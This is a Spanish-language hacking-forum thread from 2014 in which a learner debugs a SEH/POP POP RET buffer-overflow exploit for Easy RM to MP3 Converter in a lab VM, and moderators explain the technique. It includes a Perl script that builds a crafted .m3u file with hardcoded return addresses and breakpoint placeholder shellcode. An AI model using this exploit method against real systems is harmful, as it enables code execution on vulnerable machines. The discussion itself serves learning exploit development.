elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Extraño salto técnica POP POP RET
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Extraño salto técnica POP POP RET  (Leído 7,827 veces)
Lodos76

Desconectado Desconectado

Mensajes: 49


Ver Perfil
Extraño salto técnica POP POP RET
« en: 31 Marzo 2014, 23:31 pm »

Buenos días.

Hoy me he instalado una máquina virtual con Windows XP Professional x86 Spanish, y le he deshabilitado el DEP.

Pues bueno, estaba probando el exploit POPPOPRET_JMPESP.pl que tenía para "Easy RM to MP3 Converter" (sí, el programa del tutorial de Corelan), y  no me ha ido, así que he hecho 2 pruebas:

La primera, y satisfactoria, sustituyendo el JMP ESP que tendría que saltar al principio de la shellcode, por "CCCC" (\x43\x43\x43\x43), y me da error intentando ejecutar esa dirección. Proseguimos.
Código: http://pastebin.com/qm8BR1dT
Screenshot: http://www.subeimagenes.com/img/jmpesp-is-cccc-903645.jpg

Y la segunda, poniendo al JMP ESP una dirección válida y poniendo una shellcode que son muchos breakpoints. Aquí se produce un error en la dirección que ha intentado ejecutar, y que JMP ESP no apunta sólo a breakpoints.
Código: http://pastebin.com/9zy6R2YL
Screenshot: http://www.subeimagenes.com/img/shellcode-is-breakpoints-903658.jpg





La pila original está así:
 __________________________________________________
| Buffer que tendremos que llenar con Aes
|__________________________________________________|
| RET ADDRESSS que sustituiremos por un POP POP RET
|__________________________________________________|
| 4 bytes de basura que sustituiremos por "XXXX"
|__________________________________________________|
| Aquí apunta ESP antes de que se ejecute el POP POP RET, y
| que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura a la que apuntará ESP después, y
| que sustituiremos por un JMP ESP, y recogerá de la pila
| la instrucción RET que hemos puesto nosotros
|__________________________________________________|
| Aquí empieza la shellcode y es donde apuntará
| el JMP ESP cuando se ejecute
|__________________________________________________|

Gracias por la ayuda :).
« Última modificación: 1 Abril 2014, 00:06 am por Lodos76 » En línea

Lodos76

Desconectado Desconectado

Mensajes: 49


Ver Perfil
Re: Extraño salto técnica POP POP RET
« Respuesta #1 en: 1 Abril 2014, 22:30 pm »

¿Nadie me puede ayudar? Jo... :-\
En línea

.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Extraño salto técnica POP POP RET
« Respuesta #2 en: 3 Abril 2014, 01:52 am »

No entiendo muy bien tu duda. Bueno en cuanto a POP POP RET, es utilizado cuando la excepción es manejada por un manejador de excepciones, en tal caso la idea consiste en sobre-escribir la estructura SEH la cual está compuesta por dos parámetros DWORD, para ello:
- EIP debe apuntar al manejador de excepciones actuales (SEH) el cual debe contener una dirección POP POP RET.
- NSEH primer parámetro de la estructura SEH debe apuntar a un salto que se encargue de saltar la dirección POP POP RET

SEH - > JMP SHELLCODE
NSEH -> POP POP RETN
SHELLCODE

Recuerda que puedes ver en OllyDbg la estructura SEH actual, por lo cual desde ella debes obtener el desplazamiento adecuado para controlar tal estructura, saludos.
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
Lodos76

Desconectado Desconectado

Mensajes: 49


Ver Perfil
Re: Extraño salto técnica POP POP RET
« Respuesta #3 en: 3 Abril 2014, 16:25 pm »

No entiendo muy bien tu duda. Bueno en cuanto a POP POP RET, es utilizado cuando la excepción es manejada por un manejador de excepciones, en tal caso la idea consiste en sobre-escribir la estructura SEH la cual está compuesta por dos parámetros DWORD, para ello:
- EIP debe apuntar al manejador de excepciones actuales (SEH) el cual debe contener una dirección POP POP RET.
- NSEH primer parámetro de la estructura SEH debe apuntar a un salto que se encargue de saltar la dirección POP POP RET

SEH - > JMP SHELLCODE
NSEH -> POP POP RETN
SHELLCODE

Recuerda que puedes ver en OllyDbg la estructura SEH actual, por lo cual desde ella debes obtener el desplazamiento adecuado para controlar tal estructura, saludos.

mm... Bueno saberlo. Eso no está en el PDF, aunque supongo que eso lo explicarán más adelante.

Con respecto a mi duda, quiero decir que no se explota bien, es decir, si mi shellcode es la que pongo a continuación, se cuela un \x65 en la shellcode y no sé por qué, además de que hay 28 breakpoints, y no 32.

Exploit:
Código
  1. # Generated file: C:\Documents and Settings\Adminitrador\Escritorio\pop-ret.m3u
  2.  
  3. # Technique used: POP + POP + RET + JMP ESP
  4.  
  5. my $file= "pop-ret.m3u";
  6. my $junk= "A" x 26061;
  7. my $eip = pack('V',0x01BD1111); # "pop pop ret" from MSRMCcodec02.dll
  8. my $jmpesp = pack('V',0x7E41A323); # "jmp esp" from user32.dll
  9. my $prependesp = "XXXX"; # add 4 bytes so ESP points at beginning of shellcode bytes
  10. my $shellcode = "\x90" x 8; #add more bytes
  11. $shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( = jmp esp)
  12.  
  13. # Shellcode = 32 breakpoints
  14. $shellcode = shellcode .
  15. "\xcc" x (4*8); # 32 bytes
  16.  
  17. open($FILE,">$file");
  18. print $FILE $junk.$eip.$prependesp.$shellcode;
  19. close($FILE);
  20. print "Archivo m3u creado con exito.\n";




Screenshot: http://www.subeimagenes.com/img/error-shellcode-908018.jpg
« Última modificación: 3 Abril 2014, 16:27 pm por Lodos76 » En línea

.:UND3R:.
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.118


Ingeniería inversa / MASM


Ver Perfil WWW
Re: Extraño salto técnica POP POP RET
« Respuesta #4 en: 3 Abril 2014, 16:27 pm »

Si se cuela un byte adicional es por que en el buffer no se está almacenando correctamente o hay bytes no permitidos, por lo cual deberías codificar tu shellcode o desplazarla, saludos.
En línea


Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)
Lodos76

Desconectado Desconectado

Mensajes: 49


Ver Perfil
Re: Extraño salto técnica POP POP RET
« Respuesta #5 en: 3 Abril 2014, 16:38 pm »

Si se cuela un byte adicional es por que en el buffer no se está almacenando correctamente o hay bytes no permitidos, por lo cual deberías codificar tu shellcode o desplazarla, saludos.

Ya, pero no tiene sentido...
En el primer ejemplo que he puesto en el primer post, sustituyo el JMP ESP por "CCCC", entonces EIP intenta ejecutar 43434343, y ESP apunta en ese momento a mi shellcode perfecta. En cambio, si pongo un JMP ESP válido (lo he comprobado muchas veces), la shellcode de 32 breakpoints y el EIP están corruptos.
En línea

Lodos76

Desconectado Desconectado

Mensajes: 49


Ver Perfil
Re: Extraño salto técnica POP POP RET
« Respuesta #6 en: 3 Abril 2014, 22:01 pm »

Otra cosa que no he hecho, pero que no entiendo es... Si uso "findjmp.exe" con una DLL del programa para buscar algún JMP ESP, me muestra unos cuantos, pero una vez abierto con Olly el programa (una vez lanzado el exploit) y buscado "JMP ESP" en esa misma DLL, no encuentro ninguna.
La posible explicación que podría darle es que el programa no carga en memoria todas las funciones de la DLL. ¿Es correcto?
En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.471


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: Extraño salto técnica POP POP RET
« Respuesta #7 en: 3 Abril 2014, 22:26 pm »

Otra cosa que no he hecho, pero que no entiendo es... Si uso "findjmp.exe" con una DLL del programa para buscar algún JMP ESP, me muestra unos cuantos, pero una vez abierto con Olly el programa (una vez lanzado el exploit) y buscado "JMP ESP" en esa misma DLL, no encuentro ninguna.
La posible explicación que podría darle es que el programa no carga en memoria todas las funciones de la DLL. ¿Es correcto?

No. Olly tiene un problema cuando busca opcodes, si el modulo ha sido analizado.

Para verificarlko, quitale el analisis al modulo y veras que encuentra los comandos que encontro findjmp.

Saludos!
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

Lodos76

Desconectado Desconectado

Mensajes: 49


Ver Perfil
Re: Extraño salto técnica POP POP RET
« Respuesta #8 en: 3 Abril 2014, 23:04 pm »

No. Olly tiene un problema cuando busca opcodes, si el modulo ha sido analizado.

Para verificarlko, quitale el analisis al modulo y veras que encuentra los comandos que encontro findjmp.

Saludos!

Pues es extraño lo que dices, ya que si cojo la dirección que me ha dado findjmp.exe no me funciona el exploit (otro, el simple stack based overflow), pero si pongo la dirección obtenida con Olly SÍ me funciona :/.
En línea

MCKSys Argentina
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.471


Diviértete crackeando, que para eso estamos!


Ver Perfil
Re: Extraño salto técnica POP POP RET
« Respuesta #9 en: 3 Abril 2014, 23:13 pm »

El que tiene el problema de busqueda con analisis es Olly 1.10. Si usas Olly 2 no deberias tenerlo.

De cualquier forma, si en Olly no encuentras los opcodes del comando, es probable que no esten y que findjmp falle.

Recuerda que puedes buscar alternativas a un JMP ESP, como por ej.: PUSH ESP-RET, CALL ESP, MOV R32, ESP-CALL/JMP R32, etc. etc

Saludos!

PD: El EXE no tiene ASLR, no?  :P
En línea

MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Pregunta técnica es acá?
Dudas Generales
mustangnoz 2 2,406 Último mensaje 24 Julio 2010, 11:08 am
por ‭lipman
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines